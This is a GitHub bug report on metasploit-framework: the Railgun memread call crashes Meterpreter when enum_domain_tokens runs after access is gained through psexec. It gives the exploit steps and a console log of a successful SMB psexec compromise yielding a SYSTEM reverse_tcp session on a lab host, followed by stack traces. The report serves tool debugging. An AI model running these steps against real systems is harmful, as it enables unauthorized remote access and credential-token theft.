metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Railgun memread fails and crashes meterpreter when using enum_domain_tokens after gaining access via psexec

Open bwatters-r7 opened this issue 2 years ago • 0 comments

Steps to reproduce

How'd you do it?

  1. use exploit/windows/smb/psexec
  2. set payload windows/x64/meterpreter/reverse_tcp
  3. set lhost, smbuser, smbpass
  4. run
  5. use post/windows/gather/enum_domain_tokens
  6. set session x
  7. run
  8. see it crash the meterpreter session.
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.5.135.101:4567 
[*] 10.5.132.159:445 - Connecting to the server...
[*] 10.5.132.159:445 - Authenticating to 10.5.132.159:445 as user 'Administrator'...
[!] 10.5.132.159:445 - No active DB -- Credential data will not be saved!
[*] 10.5.132.159:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 10.5.132.159:445 - PowerShell found
[*] 10.5.132.159:445 - Selecting PowerShell target
[*] 10.5.132.159:445 - Powershell command length: 4455
[*] 10.5.132.159:445 - Executing the payload...
[*] 10.5.132.159:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.159[\svcctl] ...
[*] 10.5.132.159:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.159[\svcctl] ...
[*] 10.5.132.159:445 - Obtaining a service manager handle...
[*] 10.5.132.159:445 - Creating the service...
[+] 10.5.132.159:445 - Successfully created the service
[*] 10.5.132.159:445 - Starting the service...
[+] 10.5.132.159:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.5.132.159:445 - Removing the service...
[+] 10.5.132.159:445 - Successfully removed the service
[*] 10.5.132.159:445 - Closing service handle...
[*] Sending stage (200774 bytes) to 10.5.132.159
[*] Meterpreter session 1 opened (10.5.135.101:4567 -> 10.5.132.159:64857) at 2022-09-27 09:06:20 -0500

meterpreter > sysinfo
Computer        : APT_WIN2016X64
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : TESTDOMAIN
Logged On Users : 4
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > use post/windows/gather/enum_domain_tokens 
msf6 post(windows/gather/enum_domain_tokens) > set session 1
session => 1
msf6 post(windows/gather/enum_domain_tokens) > run

[*] Running module against APT_WIN2016X64 (10.5.132.159)
[*] 10.5.132.159 - Meterpreter session 1 closed.  Reason: Died

Unfortunately, this does not happen when I use a stand-alone exe, and I can't seem to get debugging on meterpreter to work with the psexec module, either logging to a file or logging to the DbgView. It works with a stand-alone exe, but that does not crash. A stand-alone exe also does not crash when launched from the meterpreter created with psexec.

The specific location of the failure is in the memread method of lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb https://github.com/rapid7/metasploit-framework/blob/35de72037184c5ab3c2f6dfa9b37cb1064a0a246/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb#L167

The memread method constructs the TLV packet and then sends it off to meterpreter, and meterpreter crashes. This bug has been present for at least a year.

The following global/module datastore, and database setup was configured before the issue occurred:

Collapse
[framework/database]
default_db=local-https-data-service

[framework/database/local-https-data-service]
url=[Filtered]
cert=[Filtered]
skip_verify=[Filtered]
api_token=[Filtered]

[framework/features]

[framework/ui/console]
ActiveModule=post/windows/gather/enum_domain_tokens

[windows/gather/enum_domain_tokens]
WORKSPACE=
VERBOSE=false
SESSION=1

Database Configuration

The database contains the following information:

Collapse
Session Type: postgresql selected, no connection

History

The following commands were ran during the session and before this issue occurred:

Collapse
1886   set loglevel 3
1887   run
1888   use post/windows/gather/enum_domain_tokens
1889   set session 1
1890   run
1891   debug

Framework Errors

The following framework errors occurred before the issue occurred:

Collapse
[09/27/2022 08:22:02] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:22:02] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:28:18] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:28:18] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:30:32] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:30:32] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:53:59] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:53:59] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 09:03:18] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 09:03:18] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

Web Service Errors

The following web service errors occurred before the issue occurred:

Collapse
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error handling request: Couldn't find Mdm::Session without an ID.
    Call Stack:
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation/finder_methods.rb:456:in `find_with_ids'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation/finder_methods.rb:69:in `find'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/querying.rb:22:in `find'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/core.rb:329:in `find'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session.rb:194:in `block in update_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/connection_adapters/abstract/connection_pool.rb:462:in `with_connection'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session.rb:191:in `update_session'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_servlet.rb:62:in `block in update_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `block in compile!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (3 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1032:in `route_eval'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (2 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1061:in `block in process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1011:in `block in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `each'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1129:in `block in dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1124:in `dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `block in call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:929:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:36:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/xss_header.rb:18:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/path_traversal.rb:16:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/json_csrf.rb:26:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/frame_options.rb:31:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:266:in `context'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:260:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/null_logger.rb:11:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/head.rb:12:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:216:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1991:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1769:in `synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:86:in `block in pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:53:in `process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:39:in `receive_data'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run_machine'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/backends/base.rb:75:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/server.rb:162:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/controllers/controller.rb:87:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:203:in `run_command'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:159:in `run!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/bin/thin:6:in `<top (required)>'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `load'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `<main>'
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error handling request: Validation failed: Session can't be blank.
    Call Stack:
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/validations.rb:80:in `raise_validation_error'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/validations.rb:53:in `save!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/transactions.rb:302:in `block in save!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/transactions.rb:354:in `block in with_transaction_returning_status'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/connection_adapters/abstract/database_statements.rb:320:in `block in transaction'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/connection_adapters/abstract/transaction.rb:319:in `block in within_new_transaction'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activesupport-6.1.4.1/lib/active_support/concurrency/load_interlock_aware_monitor.rb:26:in `block (2 levels) in synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activesupport-6.1.4.1/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `handle_interrupt'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activesupport-6.1.4.1/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `block in synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activesupport-6.1.4.1/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `handle_interrupt'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activesupport-6.1.4.1/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/connection_adapters/abstract/transaction.rb:317:in `within_new_transaction'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/connection_adapters/abstract/database_statements.rb:320:in `transaction'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/transactions.rb:350:in `with_transaction_returning_status'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/transactions.rb:302:in `save!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/suppressor.rb:48:in `save!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/persistence.rb:55:in `create!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation.rb:799:in `_create!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation.rb:114:in `block in create!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation.rb:406:in `block in scoping'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation.rb:804:in `_scoping'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation.rb:406:in `scoping'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation.rb:114:in `create!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation.rb:123:in `first_or_create!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/metasploit-credential-5.0.5/lib/metasploit/credential/creation.rb:448:in `block in create_credential_origin_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/metasploit-credential-5.0.5/lib/metasploit/credential/creation.rb:623:in `retry_transaction'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/metasploit-credential-5.0.5/lib/metasploit/credential/creation.rb:447:in `create_credential_origin_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/metasploit-credential-5.0.5/lib/metasploit/credential/creation.rb:360:in `create_credential_origin'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/metasploit-credential-5.0.5/lib/metasploit/credential/creation.rb:119:in `create_credential'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/credential_servlet.rb:52:in `block (2 levels) in create_credential'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet_helper.rb:75:in `exec_report_job'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/credential_servlet.rb:54:in `block in create_credential'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `block in compile!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (3 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1032:in `route_eval'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (2 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1061:in `block in process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1011:in `block in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `each'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1129:in `block in dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1124:in `dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `block in call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:929:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:36:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/xss_header.rb:18:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/path_traversal.rb:16:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/json_csrf.rb:26:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/frame_options.rb:31:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:266:in `context'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:260:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/null_logger.rb:11:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/head.rb:12:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:216:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1991:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1769:in `synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:86:in `block in pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:53:in `process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:39:in `receive_data'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run_machine'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/backends/base.rb:75:in `start'
